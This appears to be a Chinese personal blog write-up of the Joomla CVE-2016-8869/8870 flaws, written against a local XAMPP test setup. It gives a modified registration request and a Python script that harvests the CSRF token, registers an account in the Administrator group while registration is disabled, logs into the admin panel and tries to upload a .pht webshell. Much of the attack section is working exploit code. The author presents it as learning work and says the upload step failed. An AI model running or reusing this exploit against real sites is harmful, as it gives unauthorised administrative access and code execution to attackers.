0x00 簡述
兩個漏洞編號分別是CVE-2016-8869 CVE-2016-8870
漏洞利用描述:在網站關閉注冊的情況下,繞過驗證直接注冊特權用戶,登錄設置允許的上傳后綴等參數(但是我的環境中Administrator沒有設置的權限),然后配合上傳pht文件獲取webshell。
漏洞成因:兩個注冊函數,默認使用的注冊函數中UsersControllerRegistration::register():有檢查是否允許注冊
而另一個函數中UsersControllerUser::register()沒有這樣的檢查
測試環境: xampp,php5.6.24,kali2.0,owasp zap
0x01手工測試
需要修改的地方有兩處:jform[username] ==> user[username] ,registration.register -> user.register
首先抓正常注冊的包
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[name]"
asd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[username]"
asd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[password1]"
asdd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[password2]"
asdd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[email1]"
asd@asd.com
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[email2]"
asd@asd.com
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="option"
com_users
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="task"
registration.register
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="f9f7b49b2a156a316d79daf453138745" //token
1
-----------------------------1248058223232754271732747274--
修改后發包,成功注冊。
場景:用戶先訪問了登錄表單,然后接着提交注冊表單,使用同一個session。
0x02腳本編寫
包中需要修改的參數有:用戶名,密碼,郵箱,還有token
由於網站關閉了注冊功能不能到注冊表單去抓token,但其實使用登錄表單的token也可以
requests.Session可以自動處理cookie問題。
token
#注冊url和登錄url
reg_url=self.base_url+"/index.php/component/users/?task=registration.register"
form_url=self.base_url+"/index.php/component/users/?view=login"
#建立session
sess=requests.Session()
sess.get(form_url)
sess.post(reg_url,data=data)
解析token
由於登錄表單中只要一個token,就不用解析HTML的方法了,直接使用正則匹配
match=re.search(r'name="([a-f0-9]{32})" value="1"',resp.content)
遇到的坑 :
1,其實url中末尾的task參數不用改成user.register也可以成功
2,注冊賬戶的腳本中 我在頁面中找到的url是http://localhost/Joomla_344/index.php/log-out?view=registration
經手工改包測試注冊成功(但是頁面顯示出錯誤),腳本測試不成功
看到pwn中的url地址是 http://localhost/Joomla_344/index.php/component/users/?task=user.register
換成這個成功注冊
3,最后上傳文件的時候需要images文件夾要有寫的權限
漏洞的分析可以看seebug的兩篇paper
http://paper.seebug.org/88/
http://paper.seebug.org/86/
網上關於這個漏洞的利用工具
https://www.exploit-db.com/exploits/40637/
我的代碼也是參照這個大牛的代碼寫的,關於編程的風格和錯誤處理方面都有很多值得學習的地方
我寫的代碼只能登錄和注冊,上傳測試還不成功。
import requests
import re
from bs4 import BeautifulSoup
import random
class cms_user :
def __init__(self,base_url,username,password,email,exploit_file='filthyc0w.pht'):
self.username = username
self.password = password
self.base_url = base_url
self.email = email
self.exploit_file = open(exploit_file,"r")
def joomla_login(self):
#input base_url
#return bool
sess=requests.Session()
admin_url=self.base_url+'/administrator/index.php'
resp=sess.get(admin_url)
token=self.extract_token(resp)
data = {
'username': self.username,
'passwd': self.password,
'task': 'login',
token: '1'
}
res=sess.post(admin_url,data=data)
if "Administration - Control Panel" not in res.content:
print "Login Fail"
return False
print "Login Sucess"
print "username : "+self.username
return sess
def extract_token(self,resp):
match=re.search(r'name="([a-f0-9]{32})" value="1"',resp.content)
if match is None:
print "not found token"
return None
print "get token: %s" % match.group(1)
return match.group(1)
def joomla_register(self):
reg_url=self.base_url+"/index.php/component/users/?task=registration.register"
form_url=self.base_url+"/index.php/component/users/?view=login"
print reg_url
sess=requests.Session()
resp=sess.get(form_url)
token=self.extract_token(resp)
data={
"user[name]":self.username,
"user[username]":self.username,
"user[password1]":self.password,
"user[password2]":self.password,
"user[email1]": self.email,
"user[email2]": self.email,
'user[groups][]': '7', # Yay, Administrator!
# Sometimes these will be overridden
'user[activation]': '0',
'user[block]': '0',
'option': 'com_users',
'task': 'user.register',
token: '1',
}
reg=sess.post(reg_url,data=data)
print reg.status_code
def upload_file(self,sess):
upload_form_url=self.base_url+"/administrator/index.php?option=com_media&folder="
resp=sess.get(upload_form_url)
form_tag=BeautifulSoup(resp.content,"lxml").find("form",id="uploadForm")
if not form_tag:
print "Form_upload can't found"
return False
upload_url=form_tag.get("action")+"&folder=hack"
print upload_url
filename=get_random_name()
print filename
file={"Filedata[]": ( filename , self.exploit_file , 'application/octet-stream')} #pht test image/pht
data=dict(folder="hack")
resp=sess.post(upload_url,files=file,data=data)
if filename not in resp.content:
print("[!] Failed to upload file!")
return False
def get_random_name():
name=""
for i in range(7):
name+=chr(random.randint(65,90))
return name+'.pht'
使用exploit-db的腳本
shell.pht 中是<?= phpinfo(); 以<?php 開頭會過濾
經測試 這樣的標簽也不好用,而且在php7中已經移除了
上傳shell 的配置
在/etc/httpd.conf 需要配置 作者說在很多主機中都是這么用的,算是一種繞過的方法,反正我的xampp套裝里沒有這個配置。不加這一段是不會成功的。
<FilesMatch ".+\.ph(p[345]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
